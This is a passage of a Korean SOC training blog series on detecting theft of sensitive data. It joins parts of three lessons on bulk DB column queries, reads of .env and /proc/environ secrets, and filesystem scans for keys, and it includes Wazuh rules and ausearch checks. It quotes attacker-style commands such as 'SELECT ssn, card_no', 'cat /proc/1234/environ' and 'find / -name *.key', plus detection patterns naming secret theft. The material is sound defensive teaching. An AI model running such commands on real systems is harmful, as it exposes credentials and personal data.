분석 (분석 방법) 민감 테이블·컬럼 접근 흐름입니다(가상의 예시). [규모 파악] SELECT COUNT(*) FROM users (전체 규모 확인) ↓ [민감 추출] SELECT ssn, card_no FROM users (WHERE 없음) ↓ [파일화] INTO OUTFILE (E23) 또는 결과 저장 ↓ [유출] 외부 전송(E32) 단계 신호 규모 파악 COUNT(*) 추출 민감 컬럼·전체 파일화 OUTFILE 유출 전송 COUNT로 규모 파악 후 전체 추출은 전형적 유출 패턴입니다. 8. SOC 관제 포인트 민감 테이블·컬럼(개인정보·결제·자격증명) 접근은 법적 책임 있는 고가치 유출 입니다. 전체 조회(SELECT *)·민감 컬럼 선별(ssn·card_no·password)이 핵심 신호입니다. 정상 앱은 조건절·필요 컬럼만 조회 — 전체·민감 컬럼 조회는 이상입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_access,"> <rule id="104230" level="13"> <decoded_as>mysql_log</decoded_as> <field name="query" type="pcre2">SELECT\s+.*(ssn|rrn|card_no|card_number|password|passwd|api_token).*FROM|SELECT\s+\*\s+FROM\s+(payments|cards|credentials)</field> <description>민감 테이블·컬럼 조회(개인정보·결제 추출)</description> <mitre><id>T1005</id></mitre> </rule> </group> 민감 테이블·컬럼 목록은 데이터 분류(E02)에 맞춰 정의합니다. 정상 앱 쿼리 패턴은 예외로 등록합니다. 10. 대응 방법 초기 확인 — 조회된 민감 테이블·컬럼·범위(전체/조건)·주체를 확인합니다. 범위 확인 — COUNT 후 전체 추출·민감 컬럼 선별·이후 유출을 확인합니다. 증거 확보 — 쿼리 로그와 조회 범위(유출 가능 데이터량)를 보존합니다. 차단/조치 — 개인정보 유출 정탐이면 DB 차단·법적 대응(통지)·유출 범위 산정을 진행합니다. 재발 방지 — 민감 테이블·컬럼 접근 탐지를 컴플라이언스와 함께 운영합니다. 11. 핵심 정리 접근 패턴 데이터 SELECT * payments 전체 결제 SELECT ssn,card_no 민감 컬럼 SELECT password 자격증명 필요 행·컬럼만 정상 면접 포인트 "민감 테이블·컬럼 유출은 법적 책임 — 전체·민감 컬럼 조회가 핵심 신호" 12. 다음 편 예고 다음 편 225. 중요 정보 접근 — 대용량 데이터 수집(staging) 탐지 에서는 대용량 데이터 수집을 다루는 대용량 데이터 수집(staging) 탐지 를 다룹니다. 이전 편: 223. 중요 정보 접근 — 쿼리·DB 로그를 통한 접근 분석 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 15/50편 (전체 215/450) 학습 단계: 중요 파일 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 214. 중요 정보 접근 — 애플리케이션 비밀(secret) 접근 탐지 027. 관리자 권한 관련 정보 수집(C영역) 1. 개념 환경변수는 앱에 자격증명을 주입하는 흔한 방법이라, .env 파일 과 /proc/ /environ 이 자격증명 탈취의 표적입니다. 둘 다 평문 시크릿을 담을 수 있어 접근 탐지가 중요합니다. 환경변수 자격증명 노출 경로 .env 파일: DB_PASSWORD, API_KEY 등 평문 /proc/<pid>/environ: 실행 중 프로세스의 환경변수 → cat /proc/<pid>/environ 로 타 프로세스 시크릿 읽기 셸 history: export로 노출된 시크릿 정상: 앱이 .env 로드 / 공격: 쉘로 .env·environ 읽기 특히 /proc/<pid>/environ 접근은 실행 중인 다른 프로세스의 시크릿 을 훔치는 기법으로, 은밀합니다. 2. 왜 중요한가 .env는 평문 시크릿을 담아, 읽기 접근 한 번으로 다수 자격증명이 노출됩니다. /proc/ /environ 읽기는 실행 중 프로세스(DB·앱)의 환경변수 시크릿을 탈취합니다. 환경변수 자격증명은 파일 권한만으로 보호가 어려워 접근 탐지가 핵심입니다. 3. 핵심 명령어 / 설정 접근 대상 노출 위험 .env 읽기 평문 시크릿 세트 매우 높음 /proc/*/environ 프로세스 시크릿 높음(은밀) 셸 history export 시크릿 중간 env / printenv 현재 환경 중간 systemd env 파일 서비스 시크릿 높음 4. 실습 (실습 예시) # 환경변수·.env 접근 탐지 (분석 방법) # .env 파일 읽기(앱 외) sudo ausearch -k cred_access -i --start recent 2>/dev/null | grep '\.env' | grep -vE 'comm="(node|python|ruby|php-fpm|docker)"' # /proc/*/environ 접근(타 프로세스 시크릿 탈취) sudo ausearch -k recon_environ,cred_access -i --start recent 2>/dev/null | grep 'environ' | tail 5. 정상 상태 $ (.env 접근) (없음 또는 앱 로드만) $ (environ 접근) (없음) .env가 앱 프로세스 로드로만 읽히고, /proc/*/environ에 대한 교차 접근이 없는 상태가 정상입니다. 6. 이상 상태 $ (.env 접근) 04:00 comm="cat" auid=www-data /var/www/app/.env $ (environ 접근) 04:01 comm="cat" auid=devops /proc/1234/environ (mysqld의 환경변수) .env 직접 읽기 → DB_PASSWORD·API_KEY 등 평문 시크릿 세트 탈취 /proc/1234/environ 읽기 → mysqld 프로세스의 환경변수 시크릿 탈취 쉘로 .env·environ 읽기 → 자격증명 탈취 → 정탐 7. 로그 분석 (분석 방법) 환경변수 자격증명 탈취 흐름입니다(가상의 예시 로그). type=SYSCALL comm="cat" auid=devops key="cred_access" type=PATH name="/proc/1234/environ" → 실행 중 mysqld(pid 1234)의 환경변수 읽기 → DB 자격증명 탈취 [또는] cat /var/www/app/.env → 평문 시크릿 세트 관찰 해석 cat .env 시크릿 세트 탈취 cat /proc/*/environ 프로세스 시크릿 auid=비앱 탈취 주체 평문 노출 다수 자격증명 .env·environ 읽기는 한 번에 다수 시크릿을 노출하므로 즉시 대응합니다. 8. SOC 관제 포인트 환경변수 자격증명은 .env 파일 과 /proc/ /environ 을 통해 노출·탈취됩니다. .env는 평문 시크릿 세트, environ은 실행 중 프로세스의 시크릿을 노출합니다. 정상은 앱 로드 — 쉘의 .env·environ 읽기는 자격증명 탈취 신호입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,sensitive_access,"> <rule id="104140" level="12"> <if_sid>104000</if_sid> <field name="audit.file" type="pcre2">\.env$|/proc/[0-9]+/environ</field> <field name="audit.comm" type="pcre2">^(cat|cp|less|strings|grep|xxd|head|tail)$</field> <description>.env/proc environ 접근(환경변수 자격증명 탈취)</description> <mitre><id>T1552.001</id><id>T1552.007</id></mitre> </rule> </group> /proc/self/environ(자기 프로세스)는 정상일 수 있으나 타 pid environ 접근은 위험합니다. 앱 프로세스는 제외합니다. 10. 대응 방법 초기 확인 — 접근된 .env·/proc environ 대상·주체·방법을 확인합니다. 범위 확인 — 타 프로세스 environ 교차 접근·평문 시크릿 노출 범위를 확인합니다. 증거 확보 — 환경변수 접근 이벤트와 노출된 시크릿 범위를 보존합니다. 차단/조치 — 탈취 정탐이면 세션 종료·관련 시크릿 전면 교체를 진행합니다. 재발 방지 — .env·environ 접근 탐지를 운영합니다. 11. 핵심 정리 접근 대상 노출 .env 평문 시크릿 세트 /proc/*/environ 프로세스 시크릿 셸 history export 시크릿 env/printenv 현재 환경 면접 포인트 ".env·/proc environ은 평문 시크릿 노출 — 쉘 읽기는 자격증명 탈취" 12. 다음 편 예고 다음 편 216. 중요 정보 접근 — 백업·아카이브 파일 접근 탐지 에서는 백업·아카이브 파일 접근을 다루는 백업·아카이브 파일 접근 탐지 를 다룹니다. 이전 편: 214. 중요 정보 접근 — 애플리케이션 비밀(secret) 접근 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 22/50편 (전체 222/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 027. 관리자 권한 관련 정보 수집(C영역) 1. 개념 대량 읽기(E21)가 "모든 것을 읽는" 패턴이라면, 스캔성 접근은 "무엇이 있는지 훑어보는" 패턴입니다. 공격자는 디렉터리를 체계적으로 열거(ls/find)하며 수집 대상을 선별 합니다. 스캔성 접근 패턴 디렉터리 열거: ls -R /, find / -type f 선별 탐색: find / -name '*.key' -o -name '*.sql' 디렉터리 순회: /home/* /var/* /etc/* 차례로 메타데이터 수집: stat으로 크기·시각 확인 목적: 데이터 지형 파악 → 고가치 대상 선별 → 수집(E21·25) 스캔은 수집·유출의 전 단계(정찰)입니다. C영역 정찰과 겹치지만, 여기서는 데이터 수집을 위한 탐색 에 초점을 둡니다. 2. 왜 중요한가 스캔성 접근은 데이터 지형을 파악해 고가치 대상을 선별하는 수집의 전 단계입니다. 광범위 디렉터리 열거·패턴 검색은 정상 운영에서 드물어 이상 신호입니다. 스캔(탐색) → 선별 → 수집(E21) → 유출(E32)의 순서로 이어집니다. 3. 핵심 명령어 / 설정 스캔 패턴 목적 위험 find / -type f 전체 파일 열거 중간 find -name '*.key' 고가치 선별 높음 ls -R 광범위 디렉터리 순회 중간 여러 민감 경로 순회 지형 파악 높음 정상 검색(좁은) 업무 정상 4. 실습 (실습 예시) # 민감 디렉터리 스캔성 접근 탐지 (분석 방법) # 광범위 find/ls 실행 sudo ausearch -k data_access,recon_file -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(find|ls -R|locate).*' | tail # 고가치 패턴 선별 검색 sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -E "name '\*\.(key|pem|sql|conf|env)'|password|secret" 5. 정상 상태 $ (스캔 패턴) proctitle=find /var/www/app -name '*.log' (업무 범위 — 정상) 검색이 업무 범위(특정 앱 디렉터리·좁은 패턴)에 한정된, 광범위 스캔이 없는 상태가 정상입니다. 6. 이상 상태 $ (스캔 패턴) 04:00 proctitle=find / -name '*.key' -o -name '*.pem' -o -name '*.sql' 04:01 proctitle=find /home -type f -name '*.doc*' 전체 경로( / )에서 키·인증서·DB 패턴 선별 검색 → 고가치 대상 탐색 모든 홈에서 문서 선별 → 개인정보 수집 대상 파악 광범위·고가치 패턴 스캔 → 수집 전 선별 → 정탐 7. 로그 분석 (분석 방법) 스캔성 접근 흐름입니다(가상의 예시). [스캔] find / -name '*.key','*.sql' (고가치 탐색) ↓ [선별] 발견한 민감 파일 목록화 ↓ [수집] cp/tar로 선별 파일 수집(E21·25) ↓ [유출] 외부 전송(E32) 단계 흔적 스캔 find 광범위·패턴 선별 고가치 식별 수집 cp/tar 유출 전송 스캔(탐색)은 수집·유출의 전조이므로, 조기 탐지로 수집 전에 차단합니다. 8. SOC 관제 포인트 스캔성 접근은 디렉터리 열거+패턴 선별 로 수집 대상을 파악하는 전 단계입니다. 광범위 find/ls·고가치 패턴 검색(키·DB·인증서)이 핵심 신호입니다. 스캔(탐색) → 선별 → 수집 → 유출 순서로, 조기 탐지로 수집 전 차단을 노립니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_access,"> <rule id="104210" level="10"> <if_sid>104000</if_sid> <field name="audit.proctitle" type="pcre2">(find|locate)\s+/.*\.(key|pem|sql|env|p12|pfx)|(find|ls -R)\s+/\s</field> <description>민감 디렉터리 스캔성 접근(고가치 대상 선별)</description> <mitre><id>T1083</id><id>T1552.001</id></mitre> </rule> </group> 업무용 좁은 검색은 예외 처리합니다. 스캔 후 수집(E21)·유출로 이어지는지 세션 상관합니다. 10. 대응 방법 초기 확인 — 스캔 명령(find/ls)의 범위·패턴·주체를 확인합니다. 범위 확인 — 고가치 패턴 선별·광범위 순회·이후 수집으로 이어졌는지 확인합니다. 증거 확보 — 스캔 이벤트와 검색 대상·연계 로그를 보존합니다. 차단/조치 — 수집 전조 정탐이면 세션 모니터링 강화·차단을 진행합니다. 재발 방지 — 스캔성 접근 탐지를 수집 조기 탐지로 운영합니다. 11. 핵심 정리 스캔 패턴 목적 find / -type f 전체 열거 find -name '*.key' 고가치 선별 ls -R 광범위 디렉터리 순회 여러 민감 경로 지형 파악 면접 포인트 "스캔은 수집의 전조(탐색) — 광범위·고가치 패턴 검색이 신호, 수집 전 차단" 12. 다음 편 예고 다음 편 223. 중요 정보 접근 — 쿼리·DB 로그를 통한 접근 분석 에서는 쿼리·DB 로그를 통한 접근 분석을 다루는 쿼리·DB 로그를 통한 접근 분석 을 다룹니다. 이전 편: 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점